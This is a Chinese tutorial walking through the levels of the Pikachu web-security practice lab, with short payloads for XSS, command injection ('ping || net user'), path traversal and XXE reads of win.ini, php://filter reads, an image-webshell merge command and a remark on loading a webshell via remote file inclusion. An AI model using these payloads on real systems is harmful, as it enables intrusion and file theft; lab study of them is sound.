当前位置: 首页 > article >正文

pikachu[皮卡丘] 靶场全级别通关教程答案 以及 学习方法 如何通过渗透测试靶场挑战「pikachu」来精通Web渗透技巧? 一篇文章搞完这些问题

目录

Pikachu靶场

部署

暴力破解漏洞

学习地址:

靶场练习:

基于表单的暴力破解

验证码绕过(on server)

验证码绕过(on Client)

token防爆破?

XSS跨站脚本攻击

学习地址:

靶场练习:

反射型xss(get)

反射性xss(post)

存储型xss

DOM型xss

xss盲打

xss之过滤

xss之htmlspecialchars

xss之href输出

xss之js输出

CSRF 跨站脚本伪造攻击

学习地址:

靶场练习:

CSRF(get) login

CSRF(post)

CSRF Token

SQL注入漏洞

直接参考这SQL注入漏洞文章:

REC命令注入漏洞

学习地址:

靶场练习:

ping || net user

exec "eval"

文件包含漏洞

学习地址:

靶场练习:

本地文件包含

远程文件包含

文件下载漏洞

学习地址:

靶场练习:

不安全的文件下载

文件上传漏洞

学习地址:

靶场学习:

客户端check(检查)

服务端check

getimagesize() 

越权漏洞

学习地址:

靶场学习:

op1 member(水平越权)

op2 login(垂直越权)

目录穿越漏洞

学习地址:

靶场学习:

../../

敏感目录泄露漏洞

学习地址:

靶场学习:

find abc

反序列化漏洞

学习地址:

靶场学习:

PHP反序列化PHP反序列化

XEE漏洞(外部实现注入)

学习地址:

靶场学习:

xxe漏洞

SSRF 服务器伪造攻击

学习地址:

靶场学习:

不安全的URL跳转

SSRF(curl)

SSRF(file_get_content)


Pikachu靶场

Pikachu靶场(Pikachu CTF)是一个用于安全学习和渗透测试训练的在线靶场。它通常由网络安全爱好者和专业人员用来提高自己的安全技术,包括但不限于漏洞分析、逆向工程、Web安全、加密解密等方面。

Pikachu靶场的特点

  1. 多样的挑战:靶场通常包括一系列的安全挑战,涵盖不同的安全领域,适合初学者和高级渗透测试人员。
  2. 互动性:用户可以在线提交解题方案,并在挑战过程中获得实时反馈。
  3. 开源:一些版本的Pikachu靶场是开源的,用户可以自行部署,进行自定义配置。
  4. 学习社区:Pikachu靶场通常有一个学习社区,参与者可以分享经验、解题技巧,甚至挑战自己设计的问题。

下载和访问

  • Pikachu靶场的下载链接和访问方式可能会随时间有所变动,因此我建议你搜索它的最新版本或官方信息。
  • 你可以在GitHub或类似平台上搜索Pikachu CTF,查看是否有相关的开源项目。
git clone https://github.com/Pikachu-CTF/Pikachu.git
cd Pikachu

例如,你可以在GitHub上搜索 "Pikachu CTF" 或直接访问一些在线CTF平台,如 CTFtimeHack The Box,这些平台经常提供相关的靶场和挑战内容。


部署

  • 网上一大堆 这个自己百度 google即可


暴力破解漏洞

学习地址:

渗透测试暴力破解之 【多次搞搞你】 大家对这个技术都熟悉都喜欢玩这个,这篇文章就教会你如何玩暴力破解哦!_渗透测试双因子-CSDN博客

Web渗透测试之暴力破解高阶手法 表单破解 限制绕过-CSDN博客

靶场练习:

基于表单的暴力破解

  • 使用BP发送到攻击器 进行表单暴力破解

  • 查看字段长度判断暴力破解的成功

验证码绕过(on server)

  • 抓包服务端验证可能会存在时间限制
  • 所以可以在这段时间暴力破解
  • 验证码在后台不过期

  • 破解成功 服务端验证码校验


验证码绕过(on Client)


token防爆破?

  • 这个查看这篇文章 中的【暴力破解之token值】有讲这种手法如何破解

Web渗透测试之暴力破解高阶手法 表单破解 限制绕过-CSDN博客文章浏览阅读1.1w次,点赞9次,收藏29次。破解mysql:简单来说就是将密码进行逐个推算直到找出真正的密码为止暴力破解分类:暴力破解需要考虑的问题:持续不断发送尝试登录的请求用户名 字典。密码字典。基于不同的响应信息来判断是否正确。任何的暴力破解都是要基于用户名密码字典的强大与否 任何一天都能破解成功。暴力破解分BS 和 CS。字典大家也可以去网上找还可能找到各种web服务器应用程序的账号密码字典github等等一些地方。判断是否有复杂密码随便找到一个网站,https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493https://blog.csdn.net/zhzx123aa/article/details/145061493


XSS跨站脚本攻击

学习地址:

XSS-Web渗透测试 最全面的XSS跨站脚本注入知识点给你说说的明明白白 多篇文章持续更新-CSDN博客

靶场练习:


反射型xss(get)

删除字符限制

输入: <ScRipT>alert('XSS')</ScRiPt>


反射性xss(post)

抓包:

  • admin
  • 123456

  • 提交xss:
  • <script>alert('xss')</script>

退出再登陆


存储型xss

  • 输入xss:
  • <script>alert('xss')</script>


DOM型xss

输入xss:

' onclick=alert('xss')>

闭合语句:

<a href='' onclick=alert(‘xss’)>'>what do you see?</a>


xss盲打

盲打一般都是打后台 

提交以后无反应 进入后台查看

http://ip/pikachu/vul/xss/xssblind/admin_login.php

登陆到后台查看 就跑出来了XSS 这也就是盲打


xss之过滤

也就是waf绕过的相关方式方法

<a href="" onclick="alert('xss')">


xss之htmlspecialchars

实体编码绕过参考这篇文章:Web渗透测试之XSS跨站脚本攻击 一篇文章实体编码以及伪协议Javascript给你说明白-CSDN博客

' onclick='alert("xss")


xss之href输出

伪协议

javascript:alert(1)


xss之js输出

</script><script>alert('xss')</script>


CSRF 跨站脚本伪造攻击

学习地址:

渗透测试之什么叫 CSRF【跨站脚本伪造】攻击手法OR防御手简单教会你玩玩 钓鱼手法呀-CSDN博客

靶场练习:

CSRF(get) login

随便登陆一个用户 

生成poc

  • 生成poc点击后 在含有cookie的浏览器登陆 这样受害者数据就被修改了
  • 这样就是跨站脚本伪造了


CSRF(post)

  • 和get方式方法一样 只是请求的方法不一样


CSRF Token

  • 暴力破解中使用的token原理
  •  这个查看这篇文章 中的【暴力破解之token值】有讲这种手法如何破解
  • Web渗透测试之暴力破解高阶手法 表单破解 限制绕过-CSDN博客文章浏览阅读1.1w次,点赞9次,收藏29次。破解mysql:简单来说就是将密码进行逐个推算直到找出真正的密码为止暴力破解分类:暴力破解需要考虑的问题:持续不断发送尝试登录的请求用户名 字典。密码字典。基于不同的响应信息来判断是否正确。任何的暴力破解都是要基于用户名密码字典的强大与否 任何一天都能破解成功。暴力破解分BS 和 CS。字典大家也可以去网上找还可能找到各种web服务器应用程序的账号密码字典github等等一些地方。判断是否有复杂密码随便找到一个网站,https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118https://blog.csdn.net/zhzx123aa/article/details/145061493?sharetype=blogdetail&sharerId=145061493&sharerefer=PC&sharesource=zhzx123aa&spm=1011.2480.3001.8118

SQL注入漏洞

直接参考这SQL注入漏洞文章:

https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482https://blog.csdn.net/zhzx123aa/category_12686945.html?spm=1001.2014.3001.5482

  • 这篇文章融合了sql注入的所有知识点
  • 其中每个sql注入知识点的案例都是用的pikachu中sql注入靶场案例 直接参看就可以了

REC命令注入漏洞

学习地址:

渗透测试之远程命令执行漏洞示例 RCE-CSDN博客

靶场练习:

ping || net user

ping || net user


exec "eval"

phpinfo();


文件包含漏洞

学习地址:

渗透测试之文件包含漏洞 超详细的文件包含漏洞文章-CSDN博客

靶场练习:

本地文件包含

  • 命令:

http://192.168.1.6/pikachu/vul/fileinclude/fi_local.php?filename=file2.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

  • 读取本地文件
?filename=C:/../../../../Windows\win.ini&submit=提交查询


远程文件包含

http://192.168.1.6/pikachu/vul/fileinclude/fi_remote.php?filename=http://www.baidu.com&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

  • 比如说我们本地搭建了一个程序 编写了一个webshell,然后通过远程文件包含漏洞访问本地搭建的服务中的webshell文件,实现对肉鸡的控制。

文件下载漏洞

学习地址:

渗透测试之 文件读取漏洞结合目录穿越漏洞[---]搞定文件下载漏洞 获取敏感文件进入后渗透的模式-CSDN博客

靶场练习:


不安全的文件下载

  • 点击文件名称 抓包

  1. GET /pikachu/vul/unsafedownload/execdownload.php?filename=pj.png HTTP/1.1
  2. 通过文件包含漏洞路径创越下载
  3. 这个是通过web目录扫描 找到项目结构 找到文件,然后通过文件下载漏洞 下载对应文件。 
execdownload.php?filename=../../../index.php


文件上传漏洞

学习地址:

渗透测试之 任意文件上传漏洞 以及 绕过方式 详解_文件上传漏洞图片绕过-CSDN博客

靶场学习:

客户端check(检查)


服务端check

  • 抓包
  • 修改Content-Type: text/html 这个牵扯到 Mime 类型看一下上面的文章


getimagesize() 

  • getimagesize() 是php的一个函数

  • 其余的语言也有类似的函数 检测图片是不是一张真的图片

  • 为什么要做这样的检测?道理很简单

  • 因为图片不是一张真的图片就可以存在图片马【图片中含有一句话木马】

生成图片马

copy copy /b 图片.jpg + 木马.php 合成的文件名.jpg

  • 上传图片马加上文件包含漏洞读取这样的漏洞


越权漏洞

学习地址:

渗透测试之越权漏洞详解 水平越权 垂直越权 目录越权 SQL跨库查询越权 以及未授权漏洞 一篇文章说明白-CSDN博客

靶场学习:

op1 member(水平越权)

看一下url路径 含有用户名称 修改这个用户名称

http://192.168.1.6/pikachu/vul/overpermission/op1/op1_mem.php?username=lucy&submit=%E7%82%B9%E5%87%BB%E6%9F%A5%E7%9C%8B%E4%B8%AA%E4%BA%BA%E4%BF%A1%E6%81%AF


op2 login(垂直越权)

准备普通用户

准备超级管理用户添加用户

把普通用户的userID 转到 管理员的UserID 如果成功则普通用户可以操作管理员的行为


目录穿越漏洞

学习地址:

渗透测试之 文件读取漏洞结合目录穿越漏洞[---]搞定文件下载漏洞 获取敏感文件进入后渗透的模式-CSDN博客

靶场学习:

../../

url地址

http://192.168.1.6/pikachu/vul/dir/dir_list.php?title=jarheads.php

目录创越读取文件

?title=C:../../../../../../windows\win.ini

http://192.168.1.6/pikachu/vul/dir/dir_list.php?title=C:../../../../../../windows\win.ini


敏感目录泄露漏洞

学习地址:

靶场学习:

find abc

查看页面源码


反序列化漏洞

学习地址:

靶场学习:

PHP反序列化PHP反序列化

<?php
class S{
	var $test="<script>alert(document.cookie)</script>";
}
 
$a=new S();
echo serialize($a)
?>


XEE漏洞(外部实现注入)

学习地址:

渗透测试之XEE[外部实体注入]漏洞 原理 攻击手法 xml语言结构 防御手法-CSDN博客

靶场学习:

xxe漏洞

payload

<?xml version="1.0"?>
<!DOCTYPE ANY [
     <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini"> ]>
<a>&xxe;</a>


SSRF 服务器伪造攻击

学习地址:

渗透测试之SSRF漏洞原理 危害 产生的原因 探测手法 防御手法 绕过手法 限制的手段_ssrf 绕过ftp限制-CSDN博客

靶场学习:

不安全的URL跳转

?url=http://www.baidu.com

成功跳转到百度页面


SSRF(curl)

http://192.168.1.6/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php

读取文件 ssrf伪造攻击


SSRF(file_get_content)

 这里的利用方式与上一关相同,不同一点是这里可以使用php的伪协议了

比如,可以使用php://filter读取文件

?file=PHP://filter/read=convert.base64-encode/resource=c:../../../windows/win.ini


喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。


http://www.kler.cn/a/536504.html

相关文章:

  • Android原生开发问题汇总
  • 记录一下 在Mac下用pyinstallter 打包 Django项目
  • 【梦想终会实现】Linux驱动学习5
  • Spring 核心技术解析【纯干货版】- IX:Spring 数据访问模块 Spring-Jdbc 模块精讲
  • 【免费】2007-2019年各省科技支出占一般公共预算支出的比重数据
  • 【初阶数据结构和算法】八大排序算法之插入排序(直接插入排序、希尔排序及其对比)
  • 高级测试工程师,在数据安全方面,如何用AI提升?DeepSpeek的回答
  • iOS pod install一直失败,访问github超时记录
  • LabVIEW位移测量系统
  • 06vue3实战-----项目开发准备
  • windows部署本地deepseek
  • arkui-x 鼠标切换为键盘,焦点衔接问题
  • 【实战篇】DeepSeek + Cline 编程实战:从入门到“上头”
  • STM32上部署AI的两个实用软件——Nanoedge AI Studio和STM32Cube AI
  • 流媒体缓存管理策略
  • Python的那些事第十四篇:Flask与Django框架的趣味探索之旅
  • 阿里云cdn怎样设置图片压缩
  • 【Spring】_SpringBoot配置文件
  • Jetpack ViewModel
  • grafana面板配置opentsdb
  • 大模型deepseek-r1 本地快速搭建
  • 3D展示已成趋势,哪些产品适合3D交互展示?
  • 不用调试器,如何定位“Hard Fault”?
  • 用户点击商品埋点的实现方案
  • 跨平台App开发,有哪些编程语言和工具,比较一下优劣势?
  • STM32的HAL库开发-通用定时器输入捕获实验